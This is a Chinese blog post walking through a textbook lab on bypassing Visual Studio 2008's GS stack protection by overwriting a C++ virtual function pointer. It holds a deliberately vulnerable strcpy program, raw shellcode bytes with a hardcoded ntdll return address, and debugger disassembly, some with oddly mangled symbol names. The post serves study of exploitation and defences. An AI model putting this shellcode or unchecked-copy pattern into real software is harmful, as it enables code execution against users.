还原0day----覆盖虚函数突破GS

接上一篇,与vc++6.0(并没有GS安全机制)不一样的是,vs2008启用GS后的实例内存布局有些不一样,结合0day代码探究下突破GS的具体细节
C++代码:vs2008 release 优化禁用

#include "stdafx.h"
#include "string.h"

class GSVirtual {
public :
    void gsv(char * src)
    {
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    {
    }
};
int main()
{

    GSVirtual test;

    test.gsv(
        "\xF8\x1c\x92\x7C"   //需要替换成实验环境中的指令地址  
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        );

    return 0;
}

main函数汇编代码:

004010B0 >  55              push ebp
004010B1    8BEC            mov ebp,esp
004010B3    51              push ecx
004010B4    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
004010B7    E8 14000000     call 2.GSVirtual::GSVirtualkieionFilterructor'  ;构造函数
004010BC    68 00214000     push 2.00402100                                 ;shellcode压栈
004010C1    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
004010C4    E8 37FFFFFF     call 2.GSVirtual::gsvep_stateeement             ;test.gsv()
004010C9    33C0            xor eax,eax
004010CB    8BE5            mov esp,ebp
004010CD    5D              pop ebp                                         
004010CE    C3              retn

此时的main函数堆栈如图所示这里写图片描述
0012FF74地址为test的地址,即test的this=0012FF74,其指向虚函数表这里写图片描述,004010A0为bar()的地址

00401000 >  55              push ebp
00401001    8BEC            mov ebp,esp
00401003    81EC E4000000   sub esp,0xE4
00401009    A1 18304000     mov eax,dword ptr ds:[__security_cookiedtableeme>
0040100E    33C5            xor eax,ebp
00401010    8945 FC         mov dword ptr ss:[ebp-0x4],eax
00401013    898D 2CFFFFFF   mov dword ptr ss:[ebp-0xD4],ecx
00401019    8B45 08         mov eax,dword ptr ss:[ebp+0x8]
0040101C    8985 28FFFFFF   mov dword ptr ss:[ebp-0xD8],eax
00401022    8D8D 30FFFFFF   lea ecx,dword ptr ss:[ebp-0xD0]
00401028    898D 24FFFFFF   mov dword ptr ss:[ebp-0xDC],ecx
0040102E    8B95 24FFFFFF   mov edx,dword ptr ss:[ebp-0xDC]
00401034    8995 20FFFFFF   mov dword ptr ss:[ebp-0xE0],edx
0040103A    8B85 28FFFFFF   mov eax,dword ptr ss:[ebp-0xD8]
00401040    8A08            mov cl,byte ptr ds:[eax]
00401042    888D 1FFFFFFF   mov byte ptr ss:[ebp-0xE1],cl
00401048    8B95 24FFFFFF   mov edx,dword ptr ss:[ebp-0xDC]
0040104E    8A85 1FFFFFFF   mov al,byte ptr ss:[ebp-0xE1]
00401054    8802            mov byte ptr ds:[edx],al
00401056    8B8D 28FFFFFF   mov ecx,dword ptr ss:[ebp-0xD8]
0040105C    83C1 01         add ecx,0x1
0040105F    898D 28FFFFFF   mov dword ptr ss:[ebp-0xD8],ecx
00401065    8B95 24FFFFFF   mov edx,dword ptr ss:[ebp-0xDC]
0040106B    83C2 01         add edx,0x1
0040106E    8995 24FFFFFF   mov dword ptr ss:[ebp-0xDC],edx
00401074    80BD 1FFFFFFF 0>cmp byte ptr ss:[ebp-0xE1],0x0
0040107B  ^ 75 BD           jnz short 2.0040103A

字符串拷贝函数,拷贝完成之后正好结尾的’\0’覆盖了0012FF78的低位使得004021E4被更改为00402100,注意这里修改的0012FF78是main函数的栈空间,已经越过gsv的栈空间了,所以cookie,ebp,返回地址都已经被覆盖掉了
调用bar()的具体调用链:

0040107D    8B85 2CFFFFFF   mov eax,dword ptr ss:[ebp-0xD4]          eax=0012FF78
00401083    8B10            mov edx,dword ptr ds:[eax]               edx=eax
00401085    8B8D 2CFFFFFF   mov ecx,dword ptr ss:[ebp-0xD4]
0040108B    8B02            mov eax,dword ptr ds:[edx]               eax=[edx]
0040108D    FFD0            call eax                                 bar()

原本的this指针指向004021E4,从此取出004010A0,然后调用。但是其被修改为00402100后取地址(这里00402100指向了shellcode的开头,这个地址可以自定义,不一定只能修改最后一个字节)
这里请仔细观察下图的堆栈细节
细节
可以看到 0012FE9C是buf的起始地址,0012FE8C有个指针指向buf,只要我们能控制EIP指向0012FE9C即可控制程序流程,这里有两点要注意,第一控制EIP使用ret指令,寻找pop…pop到栈顶是0012FE8C,这时ret就可以让EIP指向shellcode了,但是还有一点需要注意,就是0012FF9C处的地址被解释成汇编代码后需要不影响shellcode的执行,不能出现异常指令,这个多找几个试试就行。最终我的电脑中找到了ntdll.dll中的7C921CF8指令。
弹出对话框
这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值